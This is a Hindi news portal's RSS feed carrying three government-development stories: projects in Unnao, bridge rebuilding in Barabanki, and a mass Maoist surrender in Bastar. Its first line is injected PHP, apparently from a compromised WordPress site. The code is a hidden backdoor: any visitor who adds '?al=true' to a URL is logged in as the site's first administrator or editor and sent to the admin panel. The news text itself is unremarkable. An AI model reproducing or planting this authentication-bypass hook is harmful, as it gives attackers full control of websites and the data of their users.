// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); development – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 18 Jun 2026 15:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 उन्नाव को बड़ा विकास तोहफा: 570 करोड़ की 101 परियोजनाओं का लोकार्पण और शिलान्यास https://pratyushaashakinayikiran.com/?p=227927 Thu, 18 Jun 2026 15:25:00 +0000 https://pratyushaashakinayikiran.com/?p=227927 उन्नाव
उत्तर प्रदेश के उन्नाव जिले के विकास को आज एक नई रफ्तार मिली है. प्रधानमंत्री नरेंद्र मोदी के मार्गदर्शन और मुख्यमंत्री योगी आदित्यनाथ के नेतृत्व में जिले को 570 करोड़ रुपये से अधिक की लागत वाली 101 विकास परियोजनाओं का बड़ा तोहफा मिला है.

योजनाओं से उन्नाव के शहरी और ग्रामीण इलाकों की तस्वीर पूरी तरह बदल जाएगी. इन 101 परियोजनाओं में उन्नाव के इंफ्रास्ट्रक्चर को मजबूत करने के लिए कई अहम काम शामिल हैं.

किन क्षेत्रों को मिलेगा फायदा?
    आवासीय सुविधाएं: लोगों के रहने के लिए सरकारी आवासीय परिसरों का विस्तार.
    सड़क और कनेक्टिविटी: जिले की सड़कों को चौड़ा और मजबूत करना ताकि आवागमन आसान हो सके.
    शिक्षा का विकास: नए शिक्षण संस्थानों और कंपोजिट विद्यालयों का निर्माण.
    ग्रामीण विकास: ग्राम पंचायतों में नए पंचायत भवनों का विकास.
    रोजगार: युवाओं के लिए नौकरी और स्वरोजगार के नए अवसर पैदा करने वाली योजनाएं.

लोकार्पण होने वाली मुख्य परियोजनाएं

  • उन्नाव सदर: ₹224 करोड़ की लागत से शहीद गुलाब सिंह लोधी प्रशिक्षण विद्यालय की क्षमता को दोगुना करने के लिए आवासीय और अनावासीय भवनों का निर्माण. साथ ही ₹75 करोड़ से अधिक की लागत से मंधना-गंगा बैराज-शुक्लागंज-पुरवा-मोहनलालगंज मार्ग का चौड़ीकरण और सुदृढ़ीकरण.
  • भगवंतनगर: ₹4 करोड़ से बीघापुर में राजकीय औद्योगिक प्रशिक्षण संस्थान (ITI) में आधुनिक कार्यशाला और प्रशिक्षण कक्ष का निर्माण. इसके अलावा ₹3 करोड़ से अधिक की लागत से नगर पंचायत अचलगंज में कल्याण मंडपम का निर्माण.

शिलान्यास होने वाली मुख्य परियोजनाएं

  • उन्नाव सदर: ₹26 करोड़ से अधिक की लागत से धाना से जंगेश्वर होते हुए पावा मार्ग का सुदृढ़ीकरण कार्य. ₹24 करोड़ की लागत से चांदपुर में 'मुख्यमंत्री मॉडल कंपोजिट विद्यालय' का निर्माण. इसके साथ ही ₹9 करोड़ से अधिक की लागत से नगर पालिका परिषद गंगाघाट में कार्यालय भवन का निर्माण कार्य.
  • भगवंतनगर: ₹28 करोड़ की लागत से बिहार-सरेनी-चैनपुर-भगवंतनगर मार्ग का चौड़ीकरण और सुदृढ़ीकरण कार्य. साथ ही ₹3 करोड़ से बक्सर (मां चंद्रिका देवी मंदिर) में बाईपास का निर्माण कार्य.
  • इससे संबंधित कार्यक्रम आज यानी 18 जून, 2026 को सुबह 10:00 बजे आयोजित किया गया. कार्यक्रम में मुख्यमंत्री योगी आदित्यनाथ के साथ राज्य मंत्री (उच्च शिक्षा) रजनी तिवारी, उन्नाव के सांसद डॉ. स्वामी सच्चिदानंद हरि साक्षी महाराज, जिला पंचायत अध्यक्ष शकुन सिंह और क्षेत्र के कई विधायक व माननीय सदस्य मौजूद रहे.

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बाराबंकी में विकास की सौगात: 22 करोड़ की लागत से दो जर्जर पुलों का होगा पुनर्निर्माण https://pratyushaashakinayikiran.com/?p=227237 Mon, 15 Jun 2026 11:10:00 +0000 https://pratyushaashakinayikiran.com/?p=227237 बाराबंकी
यूपी के बाराबंकी जिले के ग्रामीण क्षेत्रों में आवागमन और सिंचाई व्यवस्था को मजबूत करने के लिए प्रदेश सरकार ने दो महत्वपूर्ण परियोजनाओं को मंजूरी देते हुए कुल 22 करोड़ 21 लाख 92 हजार रुपये की वित्तीय स्वीकृति दी है। इनमें दरियाबाद समानान्तर शाखा पर दो जर्जर कदम पुलों का पुनर्निर्माण और प्रतापगंज रजबहा के आंतरिक सुधार और क्षतिग्रस्त पुलिया के पुनर्निर्माण का कार्य शामिल है। इन परियोजनाओं के पूरा होने से तीन दर्जन से अधिक गांवों की करीब डेढ़ लाख से अधिक आबादी को प्रत्यक्ष और अप्रत्यक्ष रूप से लाभ मिलने की उम्मीद है। पुलों का निर्माण कार्य शुरू हो गया है।

दरियाबाद समानांतर शाखा नहर पर बनेंगे दो पुल: दरियाबाद समानांतर नहर पर ग्राम बनियान के पास बना कदम पुल काफी जर्जर हो चुका है। इसी तरह इस नहर पर बना अचैचा कदम पुल भी जर्जर है। बनियाल पुल से भगौली, पलखा, गौरा, गजनी, थाल, खलीनगर, ससैलखिया आदि गांव के ग्रामीणों का आवागमन होता है। इसी तरह अचैचा पुल से मिठवारा, लहसी, भुंड,चक, कसियापुर, घतवापुर आदि गांवों के लोगों का आना जाना है। अनुमान के मुताबिक इन पुलों लाभ क्षेत्र की करीब डेढ़ लाख की आबादी को मिल रहा है। लेकिन यह दोनों पुल काफी जर्जर हो चुके है। जिससे हादसे का डर बना हुआ है।

इसी नहर पर तालगांव का पुल भी जर्जर हो चुका है। सिंचाई एवं जल संसाधन विभाग ने दरियाबाद समानांतर नहर पर जर्जर हो चुके बनियाल पुल व अचैचा पुल के पुर्ननिर्माण की स्वीकृति दी है। इस कार्य के लिए 12 करोड़ 50 लाख रुपये की धनराशि स्वीकृत की गई है। लंबे समय से जर्जर हो चुके इन पुलों के कारण ग्रामीणों, किसानों, छात्रों और राहगीरों को आवाजाही में परेशानी का सामना करना पड़ता है। दोनों पुलों के फाउंडेशन के निर्माण के लिए खोदाई का काम शुरू हो जाने से स्थानीय लोगों में उतसाह है।

प्रतापगंज रजबहा की भी सुधरेगी दशा
शासन ने प्रतापगंज रजबहा के आंतरिक सेक्शन सुधार, खड़ंजा निर्माण और किमी 17.250 पर स्थित क्षतिग्रस्त पुलिया के पुनर्निर्माण की मंजूरी दी है। इस कार्य पर नौ करोड़ 71 लाख 92 हजार रुपये खर्च किए जाएंगे। जिसकी मंजूरी शासन से मिली चुकी है। इस परियोजना के तहत प्रतापगंज रजबहा के सिंचाई तंत्र को मजबूत किया जाएगा। जिससे पानी के प्रवाह में सुधार होगा और किसानों को समय पर सिंचाई सुविधा उपलब्ध हो सकेगी। क्षेत्रीय लोगों का कहना है कि इन दोनों परियोजनाओं का लाभ दर्जनों गांवों की डेढ़ लाख से अधिक आबादी को मिलेगा। इससे कृषि उत्पादन बढ़ाने में मदद मिलेगी और ग्रामीण संपर्क मार्गों पर आवागमन भी अधिक सुरक्षित व सुगम होगा। स्थानीय किसानों के अनुसार नहरों और पुलों की जर्जर स्थिति के कारण वर्षों से समस्याएं बनी हुई थीं।

अधीक्षण अभियंता सिंचाई विभाग लखनऊ प्रखण्ड इंजी. भानु प्रताप सिंह ने बताया कि नहरों पर पुल निर्माण का कार्य शुरू करा दिया गया है। जहां पर पुल बनने हैं वहां पर खुदाई और पुराने पुलों को तोड़ने का काम चल रहा है। कुछ स्थानों पर रेगुलेटर व पटरी के मरम्मत का कार्य भी होना है।

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मुख्यधारा में लौटे माओवादी कैडर — बस्तर में शांति, विश्वास और विकास की नई सुबह : मुख्यमंत्री साय https://pratyushaashakinayikiran.com/?p=186214 Fri, 17 Oct 2025 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=186214 रायपुर

आज का दिन केवल बस्तर ही नहीं, बल्कि पूरे छत्तीसगढ़ और देश के लिए ऐतिहासिक है। वर्षों तक हिंसा और भय की छाया में जी रहे 210 माओवादी कैडरों ने आज “पूना मारगेम – पुनर्वास से पुनर्जीवन” कार्यक्रम के अंतर्गत बंदूक छोड़कर संविधान को अपनाने का निर्णय लिया है। यह छत्तीसगढ़ में शांति, विश्वास और विकास के नए युग का शुभारंभ है। मुख्यमंत्रीविष्णुदेव साय ने आज जगदलपुर में आयोजित प्रेस कांफ्रेंस को संबोधित करते हुए यह बात कही।

मुख्यमंत्री साय ने कहा कि जो युवा कभी माओवाद की झूठी विचारधारा के जाल में उलझे हुए थे, वे आज लोकतंत्र की शक्ति, संविधान के आदर्शों और राज्य सरकार की संवेदनशील नीतियों पर विश्वास जताते हुए समाज की मुख्यधारा में लौट रहे हैं।

उल्लेखनीय है कि कुल 210 आत्मसमर्पित माओवादी कैडरों में एक सेंट्रल कमेटी सदस्य, चार दण्डकारण्य स्पेशल जोनल कमेटी सदस्य, एक रीजनल कमेटी सदस्य, 22 डिविजनल कमेटी सदस्य, 61 एरिया कमेटी सदस्य और 98 पार्टी सदस्य शामिल हैं। इन पर कुल 9 करोड़ 18 लाख रुपये का इनाम घोषित था।

समारोह में 210 माओवादी कैडरों ने कुल 153 हथियार समर्पित किए, जिनमें 19 AK-47, 17 SLR, 23 INSAS राइफलें, एक INSAS LMG, 36 .303 राइफलें, 4 कार्बाइन, 11 BGL लॉन्चर, 41 शॉटगन और एक पिस्तौल शामिल हैं।

मुख्यमंत्रीसाय ने इस अवसर को अपने जीवन के सबसे भावनात्मक और संतोषजनक क्षणों में से एक बताया। उन्होंने कहा कि जिन युवाओं ने बंदूकें नीचे रखकर संविधान को थामा, उन्होंने छत्तीसगढ़ के भविष्य में शांति और एकता के बीज बोए हैं। यह इस बात का प्रमाण है कि बदलाव नीतियों और विश्वास से आता है, भय और हिंसा से नहीं।

राज्य सरकार की “नक्सलवादी आत्मसमर्पण एवं पुनर्वास नीति 2025”, “नियद नेल्ला नार योजना” और “पूना मारगेम – पुनर्वास से पुनर्जीवन” जैसी पहल आज न केवल बस्तर, बल्कि पूरे छत्तीसगढ़ में बदलाव की ठोस आधारशिला सिद्ध हो रही हैं। इन योजनाओं ने बंदूक और बारूद की जगह संवाद, संवेदना और विकास को स्थापित किया है।

 मुख्यमंत्री ने कहा कि यह अभूतपूर्व आत्मसमर्पण केंद्र एवं राज्य सरकार के संयुक्त प्रयासों का परिणाम है। पुलिस, सुरक्षा बल, स्थानीय प्रशासन, सामाजिक संगठन और नागरिक समाज — सभी ने मिलकर जिस समन्वित और निरंतर प्रयास से यह परिवर्तन संभव किया, वह बस्तर के इतिहास में मील का पत्थर है।

मुख्यमंत्रीसाय ने कहा कि यह दृश्य न केवल बस्तर बल्कि पूरे भारत के लिए प्रेरणा है — कि यदि नीयत साफ हो और नीतियाँ जनसंबंधी हों, तो हिंसा का अंत और शांति की शुरुआत संभव है।मुख्यमंत्री ने कहा कि यह सामूहिक आत्मसमर्पण बस्तर में नक्सल उन्मूलन अभियान के इतिहास की सबसे बड़ी सफलता है।

मुख्यमंत्री ने कहा कि यह आत्मसमर्पण हिंसा की जड़ को समाप्त करने की दिशा में निर्णायक कदम है। “अबूझमाड़ और उत्तर बस्तर, जहाँ कभी भय का शासन था, वहाँ आज विश्वास का शासन है। जो कल जंगलों में छिपे थे, आज वे समाज के निर्माण में सहभागी बन रहे हैं,”।

 मुख्यमंत्रीसाय ने कहा कि डबल इंजन सरकार की यह दृढ़ प्रतिज्ञा है कि छत्तीसगढ़ को नक्सलवाद से पूर्णतः मुक्त किया जाए। उन्होंने कहा — “प्रधानमंत्रीनरेंद्र मोदी जी के मार्गदर्शन और केंद्रीय गृह मंत्रीअमित शाह जी के नेतृत्व में हम इस लक्ष्य की ओर तेज़ी से बढ़ रहे हैं। बस्तर का यह परिवर्तन उसी संकल्प का प्रमाण है।”

उन्होंने कहा कि राज्य सरकार आत्मसमर्पित कैडरों के पुनर्वास और पुनर्स्थापन के लिए पूरी तरह प्रतिबद्ध है। प्रत्येक व्यक्ति को स्वरोजगार, प्रशिक्षण, आवास, शिक्षा और आजीविका के अवसर प्रदान किए जाएंगे ताकि वे सम्मानपूर्वक जीवन जी सकें और समाज के विकास में सक्रिय भूमिका निभा सकें।

 मुख्यमंत्री ने कहा कि यह आत्मसमर्पण “पूना मारगेम – पुनर्वास से पुनर्जीवन” के उस मूल भाव का विस्तार है, जो यह संदेश देता है कि परिवर्तन का मार्ग हिंसा नहीं, बल्कि विश्वास है। यह कार्यक्रम अब पूरे बस्तर क्षेत्र में पुनर्वास, शिक्षा, स्वास्थ्य और आजीविका सुधार की दिशा में नई ऊर्जा लेकर आएगा।

मुख्यमंत्रीसाय ने कहा कि यह ऐतिहासिक घटना यह सिद्ध करती है कि जब सरकार की नीतियाँ संवेदनशील और जनकेंद्रित होती हैं, तब सबसे कठिन समस्याएँ भी सुलझाई जा सकती हैं। उन्होंने कहा — “हमारा लक्ष्य केवल नक्सलवाद का अंत नहीं, बल्कि एक नए बस्तर का निर्माण है — जहाँ हर घर में विश्वास और हर मन में विकास का उजाला हो।”

मुख्यमंत्री ने क्षेत्र की जनता, जनप्रतिनिधियों, मीडिया, सुरक्षा बलों और नागरिक समाज को इस परिवर्तन के सहयोगी बनने के लिए धन्यवाद दिया। उन्होंने कहा कि शांति, विकास और समृद्धि की यह यात्रा तभी स्थायी होगी जब समाज का प्रत्येक वर्ग इस परिवर्तन की भावना को आत्मसात करेगा।

उन्होंने कहा कि राज्य सरकार बस्तर को नए उद्योग, बेहतर शिक्षा, स्वास्थ्य और कनेक्टिविटी के माध्यम से आत्मनिर्भर क्षेत्र में परिवर्तित करेगी। जंगलों की हरियाली के साथ यहाँ के युवाओं के जीवन में भी उजाला फैलेगा।

मुख्यमंत्री ने कहा कि बस्तर के इतिहास में यह वह क्षण है, जब “बंदूक की गूंज” की जगह “विकास की गूंज” सुनाई दे रही है। यह उस बस्तर का पुनर्जन्म है, जहाँ अब भय नहीं, विश्वास और बंधुत्व का शासन होगा।

अंत में मुख्यमंत्री विष्णु देव साय ने कहा — “यह केवल आत्मसमर्पण नहीं, बल्कि आत्मजागरण की यात्रा है। यह छत्तीसगढ़ की नई पहचान है — शांति, विश्वास और विकास की। आने वाले समय में बस्तर न केवल नक्सल मुक्त होगा, बल्कि देश के लिए शांति और परिवर्तन का मॉडल बनेगा।
 
इस अवसर पर उपमुख्यमंत्रीद्वयअरुण साव औरविजय शर्मा, सांसदमहेश कश्यप, जगदलपुर विधायककिरण सिंह देव, पुलिस महानिदेशकअरुणदेव गौतम, एडीजी सीआरपीएफअमित कुमार, एडीजी बीएसएफनामग्याल, एडीजी (एएनओ)विवेकानंद झा, बस्तर रेंज के आईजीसुंदरराज पी, बस्तर के सभी जिलों के पुलिस अधीक्षक तथा केंद्रीय सशस्त्र पुलिस बलों के वरिष्ठ अधिकारी उपस्थित थे।

 

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